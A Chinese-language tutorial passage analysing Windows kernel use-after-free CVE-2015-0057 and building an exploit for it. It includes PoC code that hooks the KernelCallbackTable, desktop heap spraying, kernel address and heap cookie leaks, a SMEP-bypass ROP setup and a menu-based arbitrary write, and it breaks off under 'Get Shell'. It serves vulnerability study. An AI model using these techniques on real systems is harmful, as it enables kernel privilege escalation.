前言
本篇文章主要是对Windows内核漏洞CVE-2015-0057进行分析,漏洞的知识点特别多,也阅读了很多的资料,也很感谢给予我帮助的一些师傅,总之我会详细的记录自己对这个漏洞的理解和分析,我主要想分享一些我的学习方法,比如拿到一个Poc,该如何调试,如何判断自己每一步做对了,拿到IDA反编译的结果,该如何分析等等,先介绍一下这个漏洞的一些信息
漏洞编号 | 漏洞类型 | 利用平台 |
---|---|---|
CVE-2015-0057 | Use After Free | Windows 8.1 |
也会就是说你在分析之前需要有下面的准备:
- Windows 8.1 x64 未打补丁的一个虚拟机用来测试Exploit
- Windows 7 x64 的一个虚拟机用来查询结构体
- IDA + Windbg 静态分析加动态分析,天下无敌
漏洞分析
补丁对比
让我们先来直观感受一下补丁前后的对比,这里我们直接定位问题函数xxxDrawScrollBar
补丁前:
补丁后:
这里在xxxDrawScrollBar函数后加了一层检验,主要是对[rdi+B0h]处结构的检测,这个函数其实很有意思,他相当于一个通道可以实现ring0内核层到ring3用户层在到ring0内核层的一条路,然而在路径到达ring3用户层的时候,我们完全可以干很多很多嘿嘿嘿的事情,怎么利用的我后面会慢慢道来,我们还是先看看这个函数是啥东西,连函数的功能都不知道怎么回事的话,是不可能完全理解这个漏洞的,漏洞函数是在xxxEnableWndSBArrows
,首先我们将IDA反编译的结果拿来看,当然你直接看会是下面的结果,我也没有必要全部复制下来,总之直接看肯定看不出个所以然
__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *a1, int a2, int a3)
{
int *v3; // rbx
unsigned int v4; // er12
int v5; // ebp
int v6; // er15
struct tagWND *v7; // rdi
int v8; // esi
HDC v9; // r14
struct tagWND *v11; // rcx
struct tagWND *v12; // rcx
v3 = (int *)*((_QWORD *)a1 + 22);
v4 = 0;
v5 = a3;
v6 = a2;
v7 = a1;
[...]
}
这里有几个方法,第一,看别人的分析文章,得到结构体数据分析函数流程。第二,在网上下一个Windows NT或者ReactOS源码(当然也有在线网站,对照代码分析函数流程。第三,自己从头开始逆win32k.sys(仅限大佬。第四,在Windows 7 x64下用windbg中的dt命令查看结构体,自己分析得到Windows 8.1的结构体。这里我直接放有一些注释的反编译结果
_BOOL8 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, UINT wSBflags, UINT wArrow)
{
int *psbInfo; // rbx
BOOL return_flag; // er12
UINT wArrows_; // ebp
UINT wSBflags_; // er15
struct tagWND *pwnd_; // rdi
int v8; // esi
HDC v9; // r14
struct tagWND *v11; // rcx
struct tagWND *v12; // rcx
psbInfo = (int *)*((_QWORD *)pwnd + 22);
return_flag = 0;
wArrows_ = wArrow;
wSBflags_ = wSBflags;
pwnd_ = pwnd;
if ( psbInfo )
{
v8 = *psbInfo;
}
else
{
if ( !wArrow )
return 0i64;
v8 = 0;
psbInfo = (int *)InitPwSB();
if ( !psbInfo )
return 0i64;
}
v9 = (HDC)GetDCEx(pwnd_, 0i64, 65537i64);
if ( !v9 )
return 0i64;
if ( !wSBflags_ || wSBflags_ == 3 ) // 这里会判断wSBflags是否为0或3
{
if ( wArrows_ ) // 这里判断wArrows是否为0
*psbInfo |= wArrows_;
else
*psbInfo &= 0xFFFFFFFC;
if ( *psbInfo != v8 )
{
return_flag = 1;
v8 = *psbInfo;
if ( *((_BYTE *)pwnd_ + 40) & 4 )
{
if ( !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) )
xxxDrawScrollBar(v12, v9, 0); // 这里会产生一次用户模式回调
}
}
if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 1 )
xxxWindowEvent(32778);
if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 2 )
xxxWindowEvent(32778);
}
if ( !((wSBflags_ - 1) & 0xFFFFFFFD) )
{
*psbInfo = wArrows_ ? (4 * wArrows_) | *psbInfo : *psbInfo & 0xFFFFFFF3; // 这里我们可以改结构体里面的一些东西
if ( *psbInfo != v8 )
{
return_flag = 1;
if ( *((_BYTE *)pwnd_ + 40) & 2 && !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) )
xxxDrawScrollBar(v11, v9, 1);
if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 4 )
xxxWindowEvent(32778);
if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 8 )
xxxWindowEvent(32778);
}
}
ReleaseDC(v9);
return return_flag;
}
Poc的构造
漏洞利用,肯定第一步得到漏洞点嘛,我们先到漏洞点,然后再看漏洞触发能够给我们带来什么东西,再进一步思考利用方法,首先需要我们熟悉几个api函数,首先我们通过IDA的交叉引用可以找到xxxEnableWndSBArrows
函数的原型NtUserEnableScrollBar
然后我们可以找到用户层对应的函数EnableScrollBar
// The EnableScrollBar function enables or disables one or both scroll bar arrows.
BOOL EnableScrollBar(
HWND hWnd,
UINT wSBflags,
UINT wArrows
);
函数的作用就是设置滚动箭头啥的,我们这里只需要关注怎么通过代码才能到达漏洞点?既然是滚动条设定,那我们第一步肯定得创建一个窗口吧,所以第一步肯定是创建一个窗口,这一步相信大家都是很清楚的,创建窗口类,注册窗口,创建窗口一气呵成,这不是很简单么?所以我们火速写了下面几个片断
WNDCLASSEXA wc;
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = DefWindowProcA;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = GetModuleHandleA(NULL);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszMenuName = NULL;
wc.lpszClassName = szClassName;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
RegisterClassExA(&wc)
当你写到 CreateWindowExA 函数时,发现那么多参数,肯定不能随便设置就到漏洞点吧,回顾上面IDA的分析,我们需要让wSBflags设置为0和3,并且wArrows不能为0,所以这里我们在 EnableScrollBar 函数中的实现就是对第二个参数进行设置,我们构造如下的片断
EnableScrollBar(
hWnd,
SB_CTL | SB_BOTH, // wSBflags = 3 滚动条是滚动条控件,启用或禁用与指定窗口关联的水平和垂直滚动条上的箭头
ESB_DISABLE_BOTH // wArrows = 3 禁用滚动条上的两个箭头
);
既然 EnableScrollBar 函数设置如上,那么就意味着我们创建的窗口必须满足拥有滚动条控件,为了同时能操作水平和垂直滚动条,必须以某种方式创建具有这两个元素的滚动条控件,所以我们进行如下的构造
hWnd = CreateWindowExA(
0,
szClassName,
0,
SBS_HORZ | WS_HSCROLL | WS_VSCROLL, // 垂直加水平
10,
10,
100,
100,
NULL,
NULL,
NULL,
NULL
);
期间我们再加上ShowWindow和UpdateWindow两个函数确保我们的窗口可见
ShowWindow(hwnd, SW_SHOW);
UpdateWindow(hwnd);
那么我们初步构造出能够抵达漏洞点的初步Poc,动态过程如下
接下来我们就需要考虑如何利用这个回调函数了,首先我们了解一下这个回调函数,这里我直接放一张图片,很清楚的说明了调用关系,图片来自Udi师傅的文章
上面的调用关系你可以手动通过IDA一步一步的点,这里我们关注几个关键点,我们最后从ring0到ring3的接口是通过 KeUserModeCallback 函数到达的,倒数第二个函数是 ClientLoadLibrary ,下面介绍一下这两个函数的关系。通常,每个进程有一个由 PEB->KernelCallBackTable 指向的用户模式回调函数指针表。当内核想调用用户模式函数时,它就把函数索引号传递给 KeUserModeCallBack()。在上面的例子中,索引号指向用户态的 _ClientLoadLibrary 函数,那么下面我们在PEB中找找这个结构,可以找到,偏移为0x238
1: kd> dt !_PEB @$peb -r KernelCallbackTable
ntdll!_PEB
+0x058 KernelCallbackTable : 0x00007ffb`dc110a80 Void
1: kd> dqs 0x00007ffb`dc110a80
00007ffb`dc110a80 00007ffb`dc0f3ef0 USER32!_fnCOPYDATA
00007ffb`dc110a88 00007ffb`dc14adb0 USER32!_fnCOPYGLOBALDATA
00007ffb`dc110a90 00007ffb`dc0e3b90 USER32!_fnDWORD
00007ffb`dc110a98 00007ffb`dc0e59b0 USER32!_fnNCDESTROY
00007ffb`dc110aa0 00007ffb`dc0f5640 USER32!_fnDWORDOPTINLPMSG
00007ffb`dc110aa8 00007ffb`dc14b2b0 USER32!_fnINOUTDRAG
00007ffb`dc110ab0 00007ffb`dc0f3970 USER32!_fnGETTEXTLENGTHS
00007ffb`dc110ab8 00007ffb`dc11f1c0 USER32!__fnINCNTOUTSTRING
00007ffb`dc110ac0 00007ffb`dc14b5b0 USER32!_fnINCNTOUTSTRINGNULL
00007ffb`dc110ac8 00007ffb`dc14b1a0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffb`dc110ad0 00007ffb`dc0e65a0 USER32!__fnINLPCREATESTRUCT
00007ffb`dc110ad8 00007ffb`dc11eb10 USER32!_fnINLPDELETEITEMSTRUCT
00007ffb`dc110ae0 00007ffb`dc115820 USER32!__fnINLPDRAWITEMSTRUCT
00007ffb`dc110ae8 00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT
00007ffb`dc110af0 00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT
00007ffb`dc110af8 00007ffb`dc11d7e0 USER32!__fnINLPMDICREATESTRUCT
[...]
00007ffb`dc110cb8 00007ffb`dc0e8530 USER32!_ClientLoadLibrary
1: kd> ? (00007ffb`dc110cb8-00007ffb`dc110a80)
Evaluate expression: 568 = 00000000`00000238
我们既然找到了它的位置,并且知道它和PEB有关,那我们就可以在ring3通过寄存器的方式访问到 _ClientLoadLibrary 的位置并且hook掉它,因为在前面的代码中我们只是单纯的创建和显示了一个带有一些属性的窗口,这里hook自然也就想到了将它释放到,如果我们将其释放掉,后面函数流程中又对其一些结构进行访问,那肯定是回出问题的,所以我们一步一步来,先获取hook的地址
ULONG_PTR Get_ClientLoadLibrary()
{
return (ULONG_PTR)*(ULONG_PTR*)(__readgsqword(0x60) + 0x58) + 0x238; // 首先获取PEB,然后根据偏移找到KernelCallbackTable,最后找到__ClientLoadLibrary
}
然后我们将其hook掉
BOOL Hook__ClientLoadLibrary()
{
DWORD dwOldProtect;
_ClientLoadLibrary_addr = Get_ClientLoadLibrary();
_ClientLoadLibrary = (fct_clLoadLib) * (ULONG_PTR*)_ClientLoadLibrary_addr;
Hook__ClientLoadLibrary();
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, PAGE_READWRITE, &dwOldProtect))
return FALSE;
*(ULONG_PTR*)_ClientLoadLibrary_addr = (ULONG_PTR)Fake_ClientLoadLibrary;
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, dwOldProtect, &dwOldProtect))
return FALSE;
return TRUE;
}
其中hook函数我们只需要销毁窗口即可
VOID Fake_ClientLoadLibrary()
{
if (hookflag)
{
if (++hookcount == 2) // 保证执行一次
{
hookflag = 0;
DestroyWindow(hWnd);
}
}
}
这样我们就构造了一个可以触发蓝屏的Poc,其中还需要注意的是,这里的hookflag和hookcount的目的只有一个,就是为了让DestroyWindow只执行一次,下面是导致蓝屏的过程图
我们现在只能构造一个蓝屏的Poc,我们要利用这个漏洞,还得知道这个蓝屏能带来什么
漏洞利用
桌面堆
想要了解这个漏洞的其他细节,我们得继续分析回调函数后面的代码,我们祭出IDA,继续分析回调函数后面的流程,我们发现这里其实存在一次对结构体的写入
在伪代码中显示如下
可能下面的那句话有点绕,这里我解释一下这句话啥意思,我们来看一下下面代码的例子你就懂了,其实就是判断?前面的值是否为真,若为真则返回:左边的值,假就返回右边的值
所以我们这里的漏洞代码就可能修改到 * psbInfo的值,也就是说我们达到一定条件可以改写结构体的内容,因为是修改tagWND中的结构,其关联的一些知识点就会涉及一些桌面堆的知识,所以我先给一些桌面堆的paper供大家参考,当然你不参考也可以继续往下看,我会尽量解释清楚
- Tarjei Mandt 师傅的论文:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
- 小刀师傅对菜单管理的博客(主要看堆中菜单的管理和泄露地址部分): https://xiaodaozhi.com/exploit/71.html
- Windows 8 堆管理(主要看堆头部分就行):http://illmatics.com/Windows%208%20Heap%20Internals.pdf
- ntdebug 师傅分析桌面堆结构:https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/
- leviathansecurity 对堆头的介绍:https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux/
简言之 win32k.sys 就是通过桌面堆来存储与给定桌面相关的 GUI 对象,包括窗口对象及其相关结构,如属性列表(tagPROPLIST)、窗口文本(_LARGE_UNICODE_STRING)、菜单(tagMENU)等,首先我们看几个涉及到的结构体,结构都取自Windows 7 x64,第一个就是当我们调用CreateWindow函数创建窗口的时候,会生成一个tagWND结构,大小是0x128,这个结构很大,我们只需要关注几个关键成员,也就是下图标注了颜色的几个结构
下面依次介绍这几个结构:
tagSBINFO
大小 0x24,加上堆头 0x2c ,这也是我们 UAF 的对象
2: kd> dt -v win32k!tagSBINFO -r
struct tagSBINFO, 3 elements, 0x24 bytes
+0x000 WSBflags : Int4B
+0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 水平
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 垂直
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
tagPROPLIST
大小 0x18,加上堆头0x20,由SetPropA
函数创建
2: kd> dt -v win32k!tagPROPLIST -r
struct tagPROPLIST, 3 elements, 0x18 bytes
+0x000 cEntries : Uint4B // 表示aprop数组的大小
+0x004 iFirstFree : Uint4B // 表示当前正在添加第几个tagPROP
+0x008 aprop : [1] struct tagPROP, 3 elements, 0x10 bytes // 一个单项的tagProp
+0x000 hData : Ptr64 to Void // 对应hData
+0x008 atomKey : Uint2B // 对应lpString
+0x00a fs : Uint2B // 无法控制
下面介绍一下 SetPropA 这个函数,这个函数用来设置tagPROPLIST结构,若该属性已经设置过,则直接修改其数据,若未设置过,则在数组中添加一个条目;若添加条目时发现,cEntries和iFirstFree相等,则表示props数组已满,此时会重新分配堆空间,并将原来的数据复制进去。如果我们利用UAF增大了cEntries的值,在数组已满的情况下,再次调用 SetPropA 函数,就会导致缓冲区溢出,后面我们就是利用这里造成进一步的利用
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
_LARGE_UNICODE_STRING
大小 0x10,加上堆头 0x18,由RtlInitLargeUnicodeString
函数可以初始化Buffer, NtUserDefSetText
可以设置 tagWND 的 strName 字段,此函数可以做到桌面堆大小的任意分配
2: kd> dt -v win32k!_LARGE_UNICODE_STRING -r
struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
+0x000 Length : Uint4B
+0x004 MaximumLength : Bitfield Pos 0, 31 Bits
+0x004 bAnsi : Bitfield Pos 31, 1 Bit
+0x008 Buffer : Ptr64 to Uint2B
tagMENU
大小 0x98,加上堆头 0xa0,由CreateMenu()创建,可用来填补一些内存,并且后面还可以用来任意地址读写
2: kd> dt -v win32k!tagMENU
struct tagMENU, 19 elements, 0x98 bytes
+0x000 head : struct _PROCDESKHEAD, 5 elements, 0x28 bytes
+0x028 fFlags : Uint4B
+0x02c iItem : Int4B
+0x030 cAlloced : Uint4B
+0x034 cItems : Uint4B
+0x038 cxMenu : Uint4B
+0x03c cyMenu : Uint4B
+0x040 cxTextAlign : Uint4B
+0x048 spwndNotify : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x050 rgItems : Ptr64 to struct tagITEM, 20 elements, 0x90 bytes
+0x058 pParentMenus : Ptr64 to struct tagMENULIST, 2 elements, 0x10 bytes
+0x060 dwContextHelpId : Uint4B
+0x064 cyMax : Uint4B
+0x068 dwMenuData : Uint8B
+0x070 hbrBack : Ptr64 to struct HBRUSH__, 1 elements, 0x4 bytes
+0x078 iTop : Int4B
+0x07c iMaxTop : Int4B
+0x080 dwArrowsOn : Bitfield Pos 0, 2 Bits
+0x084 umpm : struct tagUAHMENUPOPUPMETRICS, 2 elements, 0x14 bytes
初始化阶段
因为我们Poc里面是销毁的tagWND窗口,为了查看uaf之后改变了什么,我们这里初始化很多的tagWND,并且设置tagPROPLIST,64位的 tagSBINFO 大小是 0x28 ,而一个 tagPROPLIST 大小为0x18,当再增加一个 tagPROP 的时候,其大小刚好为 (0x18 + 0x10) == 0x28,也就是说我们刚好可以占用释放的那块 tagSBINFO ,那也就可以监视 UAF 前后内存的变化,下面是窗口堆初始化函数实现
BOOL InitWindow(HWND* hwndArray,int count)
{
WNDCLASSEXA wn;
wn.cbSize = sizeof(WNDCLASSEX);
wn.style = 0;
wn.lpfnWndProc = WndProc;
wn.cbClsExtra = 0;
wn.cbWndExtra = 0;
wn.hInstance = GetModuleHandleA(NULL);
wn.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wn.hCursor = LoadCursor(NULL, IDC_ARROW);
wn.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wn.lpszMenuName = NULL;
wn.lpszClassName = sz_ClassName;
wn.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (regflag)
{
if (!RegisterClassExA(&wn))
{
cout << "[*] Failed to register window.nError code is " << GetLastError() << endl;
system("pause");
return FALSE;
}
regflag = FALSE;
}
for (int i = 0; i < count; i++)
{
hwndArray[i] = CreateWindowExA(
0,
sz_ClassName,
0,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
(HWND)NULL,
(HMENU)NULL,
NULL,
(PVOID)NULL
);
if (hwndArray[i] == NULL)
return FALSE;
SetPropA(hwndArray[i], (LPCSTR)(1), (HANDLE)0xAAAABBBBAAAABBBB);
}
return TRUE;
}
初始化设置完成之后理想的桌面堆应该如下图,两个一组,依次循环
接下来就是我们的监视桌面堆的阶段了,我们来查看一下 UAF 之后改变了什么,不过这里就会有个问题,我们应该如何监视我们的桌面堆呢?下面是我最常用的代码片断,参考自sam-b师傅的GitHub项目
__debugbreak();
PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwnd, 1);
__debugbreak();
UINT64 addr = (UINT64)tagWND->pSelf; // 这里赋值一下再打印是为了防止VS编译器的优化
printf("[+] spray_step_one[0] address is : 0x%pn", addr);
实现函数如下, 我们在 user32 中寻找 HMValidateHandle 函数, 该函数在 IsMenu 函数中有被调用,所以可以通过硬编码比较的方式获取 HMValidateHandle 的地址,然而这个函数有一个 pSelf 指针,可以泄露内核地址
extern "C" lHMValidateHandle pHmValidateHandle = NULL;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("[*] Failed to load user32n");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("[*] Failed to find location of exported function 'IsMenu' within user32.dlln");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("[*] Failed to find offset of HMValidateHandle from location of 'IsMenu'n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
因此我们就可以这样检测堆结构
因此我们第一步的检验动态图如下所示,我们泄露的是tagWND的地址,加上 a8 的偏移即是我们的 tagPROPLIST ,这里我们可以看到,在写入之后我们有个 0x2 的值变为了 0xe ,这个东西是什么呢?对比一下 tagPROPLIST 的结构体你会发现刚好是 cEntries 的值,也就是说我们可以造成一次溢出
事情并不是那么顺利
我们把 cEntries 的值变大了,再次调用 SetPropA 就会溢出,然而我们新增加的 tagPROP 并不是完全可控的,我们再来看看这个结构,hData 和 atomKey 完全可控的也就 8 字节,fs 和内存对齐后面的就完全无法控制,也就是说我们需要利用好这 8 字节的溢出
1: kd> dt -v win32k!tagPROP
struct tagPROP, 3 elements, 0x10 bytes
+0x000 hData : Ptr64 to Void // 8字节可控
+0x008 atomKey : Uint2B // 2字节大概可控
+0x00a fs : Uint2B // 无法控制
前面介绍过_LARGE_UNICODE_STRING
结构,我们知道它的Buffer结构是一个指针,我们想通过它来实现任意内存访问,所以这里我们想的是在 tagPROP 后面接上一个 _LARGE_UNICODE_STRING
结构,修改Buffer字段,然而你会发现,其实我们并不能完全控制到 Buffer 那里
2: kd> dt -v win32k!_LARGE_UNICODE_STRING -r
struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
+0x000 Length : Uint4B // 可控
+0x004 MaximumLength : Bitfield Pos 0, 31 Bits // 可控
+0x004 bAnsi : Bitfield Pos 31, 1 Bit // 可控
+0x008 Buffer : Ptr64 to Uint2B // 想要修改这里,但是刚好是atomKey和fs属性,不完全可控
不能覆盖到哪里,我们就得想其他的办法,如果你看过前面的一些堆头的paper,那你可能会想到,我们这里最终选择的是_HEAP_ENTR
这个结构,其大小是 0x10,这里主要关注注释的内容,学过PWN堆部分的小伙伴有没有很眼熟,什么prev_size,size,fd,bk啥的对比过来不就很眼熟了么,只不过这里有一个SmallTagIndex
的校验码,这是Windows的一个安全机制,为了防止堆头被修改,你可以类比PWN保护机制中的Canary
1: kd> dt -v !_HEAP_ENTRY
nt!_HEAP_ENTRY
struct _HEAP_ENTRY, 22 elements, 0x10 bytes
+0x000 PreviousBlockPrivateData : Ptr64 to Void
+0x008 Size : Uint2B // 当前块的大小
+0x00a Flags : UChar // 是否空闲
+0x00b SmallTagIndex : UChar // 安全校验码
+0x00c PreviousSize : Uint2B // 前一块的大小
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 Reserved : Ptr64 to Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 to Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x008 AgregateCode : Uint8B
我们这里想的是覆盖堆头的 Size 字段,伪造堆的大小,当然这里我们也需要绕过保护,先不管保护怎么绕过,如果我们在下一个堆块后面放置一个 tagMENU 结构,然后我们将整块给 free 掉,因为 tagMENU 句柄未变,所以我们这里会再次产生一个 UAF 漏洞,这里我先贴桌面堆喷射实现的代码
BOOL SprayObject()
{
int j = 0;
CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
LARGE_UNICODE_STRING o1lstr, o2lstr;
// build first overlay
memset(o1str, 'x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
// build second overlay
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++)
{
// property list
SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
// overlay 1
if ((i % 0x150) == 0)
{
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
}
// menu object
hmenutab[i] = CreateMenu();
if (hmenutab[i] == 0)
return FALSE;
// overlay 2
if ((i % 0x150) == 0)
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
return TRUE;
}
上面的代码对_LARGE_UNICODE_STRING
结构进行初始化以及设置,涉及到RtlInitLargeUnicodeString
和NtUserDefSetText
函数,对tagPROPLIST
结构的设置,涉及到SetPropA
函数,对tagMENU
结构的设置,堆喷完的结果如下图所示,四个一组,依次循环
验证过程如下所示
Bypass heap cookie
堆头的绕过其实就是多次异或操作,当Windows每次开机的时候会产生一个 cookie ,wjllz师傅讲的比较直观,伪代码大致如下实现
heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] // 构造smalltagIndex
heapCode ^= cookie(系统每次开机的时候一个随机值);
if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10]) //类似于这种判断
BSOD
我们可以在溢出前对堆头进行记录,然后进行手动计算检验是否能绕过,这里我直接参考泄露cookie的代码,大致流程是通过对MEMORY_BASIC_INFORMATION
结构体中各种内容的比较从而实现对 cookie 的泄露,其实这部分更像是一个公式一样,相当于可以直接拿来用,当然想要完全理解肯定需要你自己手动调试的
BOOL GetDHeapCookie()
{
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
BYTE *Addr = (BYTE *) 0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee )
{
if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))
{
xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 );
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
}
通过上面的泄露我们就可以继续完善堆喷的代码了,现在就可以在堆喷函数中加上对堆头的操作了
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD *) o2str = 0x00000000;
*(DWORD *)(o2str+4) = 0x00000000;
*(DWORD *)(o2str+8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD *)(o2str+12) = 0x10000000 + ((OVERLAY1_SIZE+MENU_SIZE+_HEAP_BLOCK_SIZE)/0x10);
string clearh, newh;
o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
clearh.append(o2str, 16);
newh = XOR(clearh, xorKey);
memcpy(o2str, newh.c_str(), 16);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*) o2str, (UINT) - 1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
Bypass SMEP
对于SMEP的绕过主要是对cr4寄存器的修改,这里我的rop是用的nt!KiConfigureDynamicProcessor+0x40
片断实现对cr4寄存器的修改,代码实现如下
DWORD64 ntoskrnlbase()
{
LPVOID lpImageBase[0x100];
LPDWORD lpcbNeeded = NULL;
TCHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, (DWORD64)sizeof(lpImageBase), lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 0x40);
if (!strcmp((LPSTR)lpfileName, "ntoskrnl.exe"))
{
return (DWORD64)lpImageBase[i];
}
}
return NULL;
}
DWORD64 GetHalOffset()
{
// ntkrnlpa.exe in kernel space base address
DWORD64 pNtkrnlpaBase = ntoskrnlbase();
printf("[+] ntkrnlpa base address is : 0x%pn", pNtkrnlpaBase);
// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibraryA("ntoskrnl.exe");
// HalDispatchTable in user space address
DWORD64 pUserSpaceAddress = (DWORD64)GetProcAddress(hUserSpaceBase, "HalDispatchTable");
printf("[+] pUserSpaceAddress address is : 0x%pn", pUserSpaceAddress);
DWORD64 hal = (DWORD64)pNtkrnlpaBase + ((DWORD64)pUserSpaceAddress - (DWORD64)hUserSpaceBase) ;
return (DWORD64)hal;
}
BOOL SMEP_bypass_ready()
{
ROPgadgets = PVOID((DWORD64)ntoskrnlbase() + 0x38a3cc);
if ((DWORD64)ntoskrnlbase() == NULL)
{
cout << "[*] Failed to get ntoskrnlbasen[*] Error code is " << GetLastError() << endl;
system("pause");
return FALSE;
}
/*nt!KiConfigureDynamicProcessor+0x40:
* fffff803`20ffe7cc 0f22e0 mov cr4,rax
* fffff803`20ffe7cf 4883c428 add rsp,28h
* fffff803`20ffe7d3 c3 ret
*/
HalDispatchTable = (PVOID)GetHalOffset();
if (!HalDispatchTable)
return FALSE;
cout << "[+] ROPgadgets address is : " << hex << ROPgadgets << endl;
cout << "[+] HalDispatchTable address is : " << hex << HalDispatchTable << endl;
return TRUE;
}
Get Shell
我们覆盖了下一个堆头之后,后面再次创建一个 tagMENU ,我们可以用SetMenuItemInfoA
函数修改 rgItems 字段从而实现任意写
VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr)
{
memset(new_objects, 'xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR *)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);
// modify _MENU.rgItems value
